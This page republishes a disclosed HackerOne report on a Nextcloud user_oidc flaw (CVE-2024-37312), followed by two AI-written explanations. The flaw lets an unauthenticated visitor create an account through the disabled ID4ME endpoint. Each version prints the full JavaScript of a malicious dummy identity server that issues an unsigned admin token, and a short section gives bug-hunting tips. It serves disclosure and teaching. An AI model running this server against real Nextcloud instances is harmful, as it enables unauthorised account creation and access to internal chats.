Skip to content
Access control Disclosed report Intermediate CVE-2024-37312

ID4me feature of OpenID connect app available even when disabled

The ID4ME feature of the user_oidc app remains accessible even when disabled, allowing an unauthenticated attacker to register a new account by visiting a specific endpoint and using a malicious ID4ME server. This could let the attacker access instance-wide chat rooms and other resources.

lukasreschke Follow

Originally disclosed on HackerOne

Medium 6.3 View original
  • Triaged in 10 hours
  • Fixed in 49 days
  • Paid in 2 months
  • Disclosed after 3 months

Summary by the program

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vw7g-959g-vj6q

The report

Summary:

It is possible to register a new account on any Nextcloud server that has user_oidc enabled by just opening /apps/user_oidc/id4me as unauthenticated user. This is especially problematic given apps such as Nextcloud Talk enable accessing instance wide chat rooms.

This is caused since the setting to enable/disable ID4ME has no effect at all except hiding the button on the login site. The controllers are however still accessible.

Steps To Reproduce:

  1. Install user_oidc
  2. Open http://localhost:8080/apps/user_oidc/id4me
  3. As domain choose id4me.cloud.wtf which is a small test server that I've created running the below code
  4. Be logged in as new user on the instance.

Supporting Material/References:

For reference purposes, this is the server running the id4me.cloud.wtf ID4Me dummy server:

JavaScript
export default {
  async fetch(request, env, ctx) {
    const { pathname } = new URL(request.url);
    //return new Response("disabled");

    if(pathname == "/.well-known/openid-configuration") {
      return new Response('{"issuer":"https://id4me2.cloud.wtf","authorization_endpoint":"https://id4me2.cloud.wtf/auth","token_endpoint":"https://id4me2.cloud.wtf/token","token_introspection_endpoint":"https://id4me2.cloud.wtf/token/introspect","userinfo_endpoint":"https://id4me2.cloud.wtf/userinfo","end_session_endpoint":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/logout","jwks_uri":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/certs","check_session_iframe":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/login-status-iframe.html","grant_types_supported":["authorization_code","implicit","refresh_token","password","client_credentials"],"response_types_supported":["code","none","id_token","token","id_token token","code id_token","code token","code id_token token"],"subject_types_supported":["public","pairwise"],"id_token_signing_alg_values_supported":["ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","RS512"],"userinfo_signing_alg_values_supported":["ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","RS512","none"],"request_object_signing_alg_values_supported":["ES384","RS384","ES256","RS256","ES512","RS512","none"],"response_modes_supported":["query","fragment","form_post"],"registration_endpoint":"https://id4me2.cloud.wtf/register","token_endpoint_auth_methods_supported":["private_key_jwt","client_secret_basic","client_secret_post","client_secret_jwt"],"token_endpoint_auth_signing_alg_values_supported":["RS256"],"claims_supported":["sub","iss","auth_time","name","given_name","family_name","preferred_username","email"],"claim_types_supported":["normal"],"claims_parameter_supported":false,"scopes_supported":["openid","profile","roles","phone","offline_access","address","web-origins","email","jpberlin"],"request_parameter_supported":true,"request_uri_parameter_supported":true,"code_challenge_methods_supported":["plain","S256"],"tls_client_certificate_bound_access_tokens":true,"introspection_endpoint":"https://id4me2.cloud.wtf/introspect"}');
    }
    if(pathname == "/register") {
      return new Response('{"client_name": "id4me2.cloud.wtf", "client_id": "id4me2.cloud.wtf", "client_secret": "1234", "client_secret_expires_at": 1921684352, "redirect_uris": ["id4m2.cloud.wtf"], "userinfo_signed_response_alg": ""}');
    }
    if(pathname == "/auth") {
      const { searchParams } = new URL(request.url);
      let redirect_uri = searchParams.get('redirect_uri');
      let state = searchParams.get('state');
      let code = searchParams.get('nonce');

      return Response.redirect(redirect_uri + "?state=" + state + "&code=" + code, 307);
    }
    if(pathname == "/token") {
      let header = btoa(JSON.stringify({  }));
      let payload = btoa(JSON.stringify({ "aud": "id4me2.cloud.wtf", "sub": "admin", "exp": 1771290271 }));

      let fullResponse = JSON.stringify({"id_token": header + "." + payload + ".signature"});
      return new Response(fullResponse);
    }

    return new Response('Hello World!');
  },
};

Impact

It is possible to register a new account on any Nextcloud server that has user_oidc enabled by just opening /apps/user_oidc/id4me as unauthenticated user.

The original report as published on HackerOne, by lukasreschke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Nextcloud is a self-hosted collaboration platform, and user_oidc is its app for authenticating users through OpenID Connect. Among the features of that app is ID4ME, a scheme that lets a user log in with a domain name that resolves to an identity provider. The app exposes an endpoint at /apps/user_oidc/id4me that drives this flow.

The report concerns a flaw in how the ID4ME feature is gated. The setting that is supposed to enable or disable ID4ME does not actually disable anything on the server side: it only hides the button on the login page. The controllers behind the endpoint remain reachable regardless of the setting. The program published a security advisory for this issue at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vw7g-959g-vj6q.

Setup

The precondition is a Nextcloud server with the user_oidc app installed. The reproduction steps use an instance at http://localhost:8080. No account is needed on the target: the whole point is that the flow can be started as an unauthenticated user.

The researcher also ran a small dummy ID4ME server on the domain id4me.cloud.wtf, which is described as a small test server created for the purpose. Its source is included in the report and is reproduced in the exploitation section below. It serves discovery, registration, authorisation and token responses, and its token payload has the subject admin.

Finding it

The researcher noticed that the enable/disable setting for ID4ME has no effect beyond hiding the button on the login site, while the controllers stay accessible. That means the feature can be driven directly by requesting its endpoint, without going through the login page at all. Because the ID4ME flow ends in account creation, an unauthenticated visitor can register a new account on the instance.

Exploitation

Step 1: Install user_oidc

The app must be present on the target. This is the only configuration requirement stated in the report; the ID4ME setting itself does not need to be enabled.

Step 2: Open the ID4ME endpoint unauthenticated

The researcher opened http://localhost:8080/apps/user_oidc/id4me as an unauthenticated user. This starts the ID4ME flow without going through the login page, because the controllers stay accessible regardless of the setting.

Step 3: Choose the domain

As the domain in the flow, the researcher used id4me.cloud.wtf, the test server created for the exercise. The dummy server implements the endpoints the app needs. Its discovery document is served at /.well-known/openid-configuration:

JavaScript
export default {
  async fetch(request, env, ctx) {
    const { pathname } = new URL(request.url);
    //return new Response("disabled");

    if(pathname == "/.well-known/openid-configuration") {
      return new Response('{"issuer":"https://id4me2.cloud.wtf","authorization_endpoint":"https://id4me2.cloud.wtf/auth","token_endpoint":"https://id4me2.cloud.wtf/token","token_introspection_endpoint":"https://id4me2.cloud.wtf/token/introspect","userinfo_endpoint":"https://id4me2.cloud.wtf/userinfo","end_session_endpoint":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/logout","jwks_uri":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/certs","check_session_iframe":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/login-status-iframe.html","grant_types_supported":["authorization_code","implicit","refresh_token","password","client_credentials"],"response_types_supported":["code","none","id_token","token","id_token token","code id_token","code token","code id_token token"],"subject_types_supported":["public","pairwise"],"id_token_signing_alg_values_supported":["ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","RS512"],"userinfo_signing_alg_values_supported":["ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","RS512","none"],"request_object_signing_alg_values_supported":["ES384","RS384","ES256","RS256","ES512","RS512","none"],"response_modes_supported":["query","fragment","form_post"],"registration_endpoint":"https://id4me2.cloud.wtf/register","token_endpoint_auth_methods_supported":["private_key_jwt","client_secret_basic","client_secret_post","client_secret_jwt"],"token_endpoint_auth_signing_alg_values_supported":["RS256"],"claims_supported":["sub","iss","auth_time","name","given_name","family_name","preferred_username","email"],"claim_types_supported":["normal"],"claims_parameter_supported":false,"scopes_supported":["openid","profile","roles","phone","offline_access","address","web-origins","email","jpberlin"],"request_parameter_supported":true,"request_uri_parameter_supported":true,"code_challenge_methods_supported":["plain","S256"],"tls_client_certificate_bound_access_tokens":true,"introspection_endpoint":"https://id4me2.cloud.wtf/introspect"}');
    }

This document advertises the issuer https://id4me2.cloud.wtf and points the authorisation, token, registration and other endpoints at that host. It is the entry point the Nextcloud app uses to learn where to send the user and where to exchange the code.

The registration endpoint returns a client registration, including a client secret:

JavaScript
    if(pathname == "/register") {
      return new Response('{"client_name": "id4me2.cloud.wtf", "client_id": "id4me2.cloud.wtf", "client_secret": "[redacted]", "client_secret_expires_at": 1921684352, "redirect_uris": ["id4m2.cloud.wtf"], "userinfo_signed_response_alg": ""}');
    }

The authorisation endpoint takes the redirect_uri, state and nonce parameters and redirects back with a code equal to the nonce: It takes the redirect_uri, state and nonce parameters from the request and immediately redirects back to the caller with a code equal to the supplied nonce:

JavaScript
    if(pathname == "/auth") {
      const { searchParams } = new URL(request.url);
      let redirect_uri = searchParams.get('redirect_uri');
      let state = searchParams.get('state');
      let code = searchParams.get('nonce');

      return Response.redirect(redirect_uri + "?state=" + state + "&code=" + code, 307);
    }

The token endpoint then returns an ID token built from an empty header and a payload whose subject is admin:

JavaScript
    if(pathname == "/token") {
      let header = btoa(JSON.stringify({  }));
      let payload = btoa(JSON.stringify({ "aud": "id4me2.cloud.wtf", "sub": "admin", "exp": 1771290271 }));

      let fullResponse = JSON.stringify({"id_token": header + "." + payload + ".signature"});
      return new Response(fullResponse);
    }

    return new Response('Hello World!');
  },
};

The signature segment is the literal string signature. The dummy server is described as a small test server created for the exercise.

Step 4: Be logged in as a new user

After the flow completes, the researcher was logged in as a new user on the instance.

Root cause

The enable/disable setting for ID4ME is enforced only in the user interface, where it hides the button on the login site. The controllers behind /apps/user_oidc/id4me do not consult the setting, so the endpoint stays reachable and functional when the feature is switched off. Access control here is presentational rather than enforced on the server, which is the improper access control weakness the program recorded.

Impact

Anyone who can reach the instance can register a new account on any Nextcloud server that has user_oidc enabled, simply by opening /apps/user_oidc/id4me as an unauthenticated user. The researcher highlights that this is especially problematic because apps such as Nextcloud Talk allow access to instance-wide chat rooms, so a freshly created account is not an isolated, harmless identity. The impact depends on the target having user_oidc enabled.

Fix

The report does not describe the change that was made.

Variants to test

  1. Request the ID4ME endpoint directly on an instance where the feature is disabled and see whether the flow starts. A positive result is the flow starting instead of an error.

Hunting notes

This kind of bug hides where a feature toggle is implemented in the front end only. During recon, look for optional authentication apps and note whether disabling a provider removes the endpoint or merely the button. The signal is an endpoint that still responds after the feature is turned off. The researcher demonstrated impact by ending the flow logged in as a new user.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Nextcloud is a piece of software that organisations install on their own servers to share files and chat with each other. It is not run by one company for everyone; each organisation runs its own copy, called an instance. One of the optional add-ons (Nextcloud calls them apps) is user_oidc, which lets people log in through an outside identity provider instead of a local password. Part of that app is a feature called ID4ME, which lets someone log in using a domain name that points to an identity provider.

An identity provider is simply a service that confirms who you are, the way a passport office confirms your identity to an airline. OpenID Connect is the standard set of rules that lets two computer systems do that confirmation conversation, so that a website can trust a login handled somewhere else.

The problem the researcher found is small in code but large in effect. There is a setting in Nextcloud to turn ID4ME on or off. Turning it off only hides the button on the login page. The machinery behind the button, the part that actually does the work, keeps running and keeps answering anyone who asks it directly. Because the ID4ME process ends with the creation of a new account, a stranger who has never logged in can create an account on the server just by visiting one web address.

The issue was rated medium severity with a CVSS score of 6.3. CVSS is a standard scoring system for how serious a security flaw is, where higher numbers mean worse. The weakness was classified as improper access control, which is the general name for a situation where something is supposed to be restricted but the restriction is not actually enforced. The program published a security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vw7g-959g-vj6q.

Context

To follow the rest of this article you need a few ideas explained from zero.

A server is a computer that stays switched on and answers requests from other computers. A web request is a message your browser sends to a server asking for something, such as a page. The server replies with a response, which might be a page, a redirect to another address, or a piece of data.

An endpoint is a specific address on a server that does a specific job. Think of a large office building: the street address gets you into the building, but you still need to know which desk to go to. An endpoint is the desk. In this report the endpoint is /apps/user_oidc/id4me, which is the desk that handles the ID4ME login process.

An API is the set of endpoints a program offers so that other programs can talk to it. It is the same idea as a restaurant menu: it lists what you can order and how to order it, without you needing to know what happens in the kitchen.

A controller is the part of the software that sits behind an endpoint and decides what to do when a request arrives. If the endpoint is the desk, the controller is the person sitting at it.

Authentication means proving who you are. Authorisation means deciding what you are allowed to do once you have proven it. A session is the state of being logged in: after you authenticate, the server remembers you for a while, usually by giving your browser a small piece of data called a cookie that it sends back with every later request, like a wristband at an event.

A token is a piece of data that stands in for proof of identity or permission. In OpenID Connect, an ID token is a token that says who the user is. It is usually made of three parts separated by dots: a header, a payload and a signature. The signature is what lets the receiving side check that the token was really issued by the expected party and was not altered.

A domain name is the human-readable name of a server, such as example.com. A well-known URL is a fixed address that a service publishes so that other software can discover how to talk to it. The convention is that it lives under /.well-known/, and for OpenID Connect the discovery document is at /.well-known/openid-configuration. It is like a company putting its contact details and opening hours on a standard sign by the front door, so any visitor can find them without asking.

ID4ME is a scheme where a domain name itself acts as the identity. Instead of typing a username, you type a domain, and the system looks up which identity provider is responsible for that domain and sends you there. The user_oidc app exposes the endpoint /apps/user_oidc/id4me to run this flow.

The flaw is in how the ID4ME feature is gated. The setting that is supposed to enable or disable ID4ME does not actually disable anything on the server side: it only hides the button on the login page. The controllers behind the endpoint remain reachable regardless of the setting.

Setup

The precondition is a Nextcloud server with the user_oidc app installed. The reproduction steps use an instance at http://localhost:8080. localhost is a name that always means "this same computer", and 8080 is a port number, which is like an apartment number inside the building's street address. No account is needed on the target: the whole point is that the flow can be started as an unauthenticated user, meaning someone who has not logged in.

The researcher also ran a small dummy ID4ME server on the domain id4me.cloud.wtf, described as a small test server created for the purpose. A dummy server is a stand-in that pretends to be a real service so you can watch how the other side behaves. Its source is included in the report and is reproduced in the exploitation section below. It serves discovery, registration, authorisation and token responses, and its token payload has the subject admin. The subject is the field in a token that names the user the token is about.

Finding it

The researcher noticed that the enable/disable setting for ID4ME has no effect beyond hiding the button on the login site, while the controllers stay accessible. That means the feature can be driven directly by requesting its endpoint, without going through the login page at all. Because the ID4ME flow ends in account creation, an unauthenticated visitor can register a new account on the instance.

Exploitation

Step 1: Install user_oidc

The app must be present on the target. This is the only configuration requirement stated in the report; the ID4ME setting itself does not need to be enabled. That last point is the heart of the bug: the feature is off, and it still works.

Step 2: Open the ID4ME endpoint unauthenticated

This is the raw form of the request a browser sends when you visit http://localhost:8080/apps/user_oidc/id4me. GET is the method, meaning "give me this thing". The first line names the path being requested. The second line, Host, tells the server which site name the request is for, which matters because one server can host many sites.

The researcher opened that address as an unauthenticated user. This starts the ID4ME flow without going through the login page, because the controllers stay accessible regardless of the setting. In other words, the door is locked from the outside by hiding the handle, but the door itself is not locked.

Step 3: Choose the domain

As the domain in the flow, the researcher used id4me.cloud.wtf, the test server created for the exercise. The dummy server implements the endpoints the app needs. Resolving here means looking up which service is responsible for that domain, the way a phone book turns a name into a number. Its discovery document is served at /.well-known/openid-configuration:

JavaScript
export default {
  async fetch(request, env, ctx) {
    const { pathname } = new URL(request.url);
    //return new Response("disabled");

    if(pathname == "/.well-known/openid-configuration") {
      return new Response('{"issuer":"https://id4me2.cloud.wtf","authorization_endpoint":"https://id4me2.cloud.wtf/auth","token_endpoint":"https://id4me2.cloud.wtf/token","token_introspection_endpoint":"https://id4me2.cloud.wtf/token/introspect","userinfo_endpoint":"https://id4me2.cloud.wtf/userinfo","end_session_endpoint":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/logout","jwks_uri":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/certs","check_session_iframe":"https://id4me2.cloud.wtf/auth/realms/mbo/protocol/openid-connect/login-status-iframe.html","grant_types_supported":["authorization_code","implicit","refresh_token","password","client_credentials"],"response_types_supported":["code","none","id_token","token","id_token token","code id_token","code token","code id_token token"],"subject_types_supported":["public","pairwise"],"id_token_signing_alg_values_supported":["ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","RS512"],"userinfo_signing_alg_values_supported":["ES384","RS384","HS256","HS512","ES256","RS256","HS384","ES512","RS512","none"],"request_object_signing_alg_values_supported":["ES384","RS384","ES256","RS256","ES512","RS512","none"],"response_modes_supported":["query","fragment","form_post"],"registration_endpoint":"https://id4me2.cloud.wtf/register","token_endpoint_auth_methods_supported":["private_key_jwt","client_secret_basic","client_secret_post","client_secret_jwt"],"token_endpoint_auth_signing_alg_values_supported":["RS256"],"claims_supported":["sub","iss","auth_time","name","given_name","family_name","preferred_username","email"],"claim_types_supported":["normal"],"claims_parameter_supported":false,"scopes_supported":["openid","profile","roles","phone","offline_access","address","web-origins","email","jpberlin"],"request_parameter_supported":true,"request_uri_parameter_supported":true,"code_challenge_methods_supported":["plain","S256"],"tls_client_certificate_bound_access_tokens":true,"introspection_endpoint":"https://id4me2.cloud.wtf/introspect"}');
    }

Line by line, in plain words:

  • export default { starts the definition of the program that handles incoming requests.
  • async fetch(request, env, ctx) { is the function that runs for every request. async means it can wait for things; request is the incoming message; env and ctx are extra pieces of context supplied by the hosting platform.
  • const { pathname } = new URL(request.url); takes the requested address and pulls out just the path part, the bit after the domain, so the code can compare it against known paths.
  • //return new Response("disabled"); is a commented-out line, meaning it is ignored. It shows the server could be switched off by returning a fixed message instead.
  • if(pathname == "/.well-known/openid-configuration") { checks whether the request is for the discovery document.
  • The long return new Response('...') line sends back a JSON document. JSON is a plain text format for structured data, using curly braces and quoted names. This particular document is the discovery document: it advertises the issuer https://id4me2.cloud.wtf and points the authorisation, token, registration and other endpoints at that host. It is the entry point the Nextcloud app uses to learn where to send the user and where to exchange the code.

The registration endpoint returns a client registration, including a client secret:

JavaScript
    if(pathname == "/register") {
      return new Response('{"client_name": "id4me2.cloud.wtf", "client_id": "id4me2.cloud.wtf", "client_secret": "[redacted]", "client_secret_expires_at": 1921684352, "redirect_uris": ["id4m2.cloud.wtf"], "userinfo_signed_response_alg": ""}');
    }
  • if(pathname == "/register") { checks whether the request is for the registration endpoint.
  • The return new Response('...') line sends back a registration record. client_name and client_id identify the client, client_secret is a password-like value that a client uses to prove itself to the identity provider, client_secret_expires_at is a timestamp for when that secret stops being valid, and redirect_uris lists where the provider is allowed to send the user afterwards. A client secret is sensitive in the same way a password is, which is why it is masked here.

The authorisation endpoint takes the redirect_uri, state and nonce parameters and redirects back with a code equal to the nonce: It takes the redirect_uri, state and nonce parameters from the request and immediately redirects back to the caller with a code equal to the supplied nonce:

JavaScript
    if(pathname == "/auth") {
      const { searchParams } = new URL(request.url);
      let redirect_uri = searchParams.get('redirect_uri');
      let state = searchParams.get('state');
      let code = searchParams.get('nonce');

      return Response.redirect(redirect_uri + "?state=" + state + "&code=" + code, 307);
    }
  • if(pathname == "/auth") { checks whether the request is for the authorisation endpoint, the place where a real provider would ask the user to log in.
  • const { searchParams } = new URL(request.url); extracts the query string, the part of a URL after the ? that carries named values.
  • The three let lines read the redirect_uri, state and nonce values out of that query string. redirect_uri is where to send the user next, state is a value the caller uses to recognise its own request when it comes back, and nonce is a one-time value meant to tie a token to a specific request.
  • return Response.redirect(redirect_uri + "?state=" + state + "&code=" + code, 307); sends the browser straight back to the caller, attaching the state and a code that is simply the nonce. 307 is an HTTP status code meaning "temporary redirect". The endpoint redirects back with the state and a code equal to the nonce.

The token endpoint then returns an ID token built from an empty header and a payload whose subject is admin:

JavaScript
    if(pathname == "/token") {
      let header = btoa(JSON.stringify({  }));
      let payload = btoa(JSON.stringify({ "aud": "id4me2.cloud.wtf", "sub": "admin", "exp": 1771290271 }));

      let fullResponse = JSON.stringify({"id_token": header + "." + payload + ".signature"});
      return new Response(fullResponse);
    }

    return new Response('Hello World!');
  },
};
  • if(pathname == "/token") { checks whether the request is for the token endpoint, where a client exchanges the code for a token.
  • let header = btoa(JSON.stringify({ })); builds the header part of the token from an empty object and encodes it with btoa, which turns text into base64, a way of writing arbitrary bytes using ordinary characters. Base64 is not encryption; anyone can decode it.
  • let payload = btoa(JSON.stringify({ "aud": "id4me2.cloud.wtf", "sub": "admin", "exp": 1771290271 })); builds the payload. aud is the audience, meaning who the token is meant for. sub is the subject, the user the token is about, set here to admin. exp is the expiry time as a number.
  • let fullResponse = JSON.stringify({"id_token": header + "." + payload + ".signature"}); glues the three parts together with dots and wraps them in JSON under the name id_token.
  • return new Response(fullResponse); sends that back to the caller.
  • return new Response('Hello World!'); is the fallback for any other path.

The signature segment is the literal string signature. A real signature is a cryptographic seal that proves the token came from the expected issuer and was not changed; here there is no seal at all, just the word. The dummy server is described as a small test server created for the exercise.

Step 4: Be logged in as a new user

After the flow completes, the researcher was logged in as a new user on the instance. Credentials here means a username and password, or anything else that proves you already have an account.

Root cause

The enable/disable setting for ID4ME is enforced only in the user interface, where it hides the button on the login site. The controllers behind /apps/user_oidc/id4me do not consult the setting, so the endpoint stays reachable and functional when the feature is switched off. Access control here is presentational rather than enforced on the server, which is the improper access control weakness the program recorded. Presentational means it changes what you see, not what the server will do. A useful comparison is a shop that puts up a "closed" sign but leaves the till open and the staff willing to serve anyone who walks in through the back.

Impact

Anyone who can reach the instance can register a new account on any Nextcloud server that has user_oidc enabled, simply by opening /apps/user_oidc/id4me as an unauthenticated user. The researcher highlights that this is especially problematic because apps such as Nextcloud Talk allow access to instance-wide chat rooms, so a freshly created account is not an isolated, harmless identity. The impact depends on the target having user_oidc enabled.

Fix

The report does not describe the change that was made. In everyday terms: check at the desk whether the service is open, instead of only taking the sign off the door.

Variants to test

  1. Request the ID4ME endpoint directly on an instance where the feature is disabled and see whether the flow starts. A positive result is the flow starting instead of an error.

Hunting notes

This kind of bug hides where a feature toggle is implemented in the front end only. The front end is the part that runs in your browser; the back end is the part that runs on the server. During recon, meaning the early phase of looking around a target to understand what it is made of, look for optional authentication apps and note whether disabling a provider removes the endpoint or merely the button. The signal is an endpoint that still responds after the feature is turned off. The researcher demonstrated impact by ending the flow logged in as a new user. A primitive here means a basic building block an attacker can use as part of a larger attack.

Glossary

  • API: the set of endpoints a program offers so other programs can talk to it.
  • App (Nextcloud): an optional add-on that extends what a Nextcloud instance can do.
  • Audience (aud): the field in a token saying who the token is meant for.
  • Authentication: proving who you are.
  • Authorisation: deciding what you are allowed to do once you have proven who you are.
  • Base64: a way of writing arbitrary data using ordinary characters; it is encoding, not encryption.
  • Client secret: a password-like value a client uses to prove itself to an identity provider.
  • Controller: the part of the software that handles a request arriving at an endpoint.
  • Cookie: a small piece of data a server gives your browser so it can recognise you on later requests.
  • Credentials: a username and password, or anything else that proves you already have an account.
  • CVSS: a standard scoring system for the severity of a security flaw; higher numbers are worse.
  • Discovery document: a fixed file at /.well-known/openid-configuration that tells other software where a service's endpoints are.
  • Domain name: the human-readable name of a server, such as example.com.
  • Dummy server: a stand-in service built to imitate a real one for testing.
  • Endpoint: a specific address on a server that does a specific job.
  • Front end / back end: the part of software running in your browser versus the part running on the server.
  • GET: the HTTP method meaning "give me this thing".
  • Host: the header in a request naming which site the request is for.
  • ID token: a token in OpenID Connect that states who the user is.
  • ID4ME: a scheme where a domain name acts as the identity and points to an identity provider.
  • Identity provider: a service that confirms who a user is on behalf of another site.
  • Improper access control: a flaw where something is meant to be restricted but the restriction is not actually enforced.
  • Instance: one organisation's own running copy of Nextcloud.
  • JSON: a plain text format for structured data using braces and quoted names.
  • localhost: the name meaning "this same computer".
  • Nonce: a one-time value meant to tie a token to a specific request.
  • OpenID Connect: a standard set of rules for confirming a user's identity between systems.
  • Port: a number that identifies a specific service on a computer, like an apartment number.
  • Primitive: a basic building block an attacker can use in a larger attack.
  • Recon: the early phase of examining a target to understand what it is made of.
  • Redirect: a response telling the browser to go to a different address.
  • Request / response: a message asking a server for something, and the server's reply.
  • Resolve: to look up which service is responsible for a domain name.
  • Session: the state of being logged in, usually remembered through a cookie.
  • Signature: a cryptographic seal proving a token came from the expected issuer and was not altered.
  • State: a value a caller uses to recognise its own request when it comes back.
  • Subject (sub): the field in a token naming the user the token is about.
  • Token: a piece of data that stands in for proof of identity or permission.
  • Unauthenticated: not logged in.
  • Well-known URL: a fixed address under /.well-known/ where a service publishes how to talk to it.

More by lukasreschke

View all

19 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.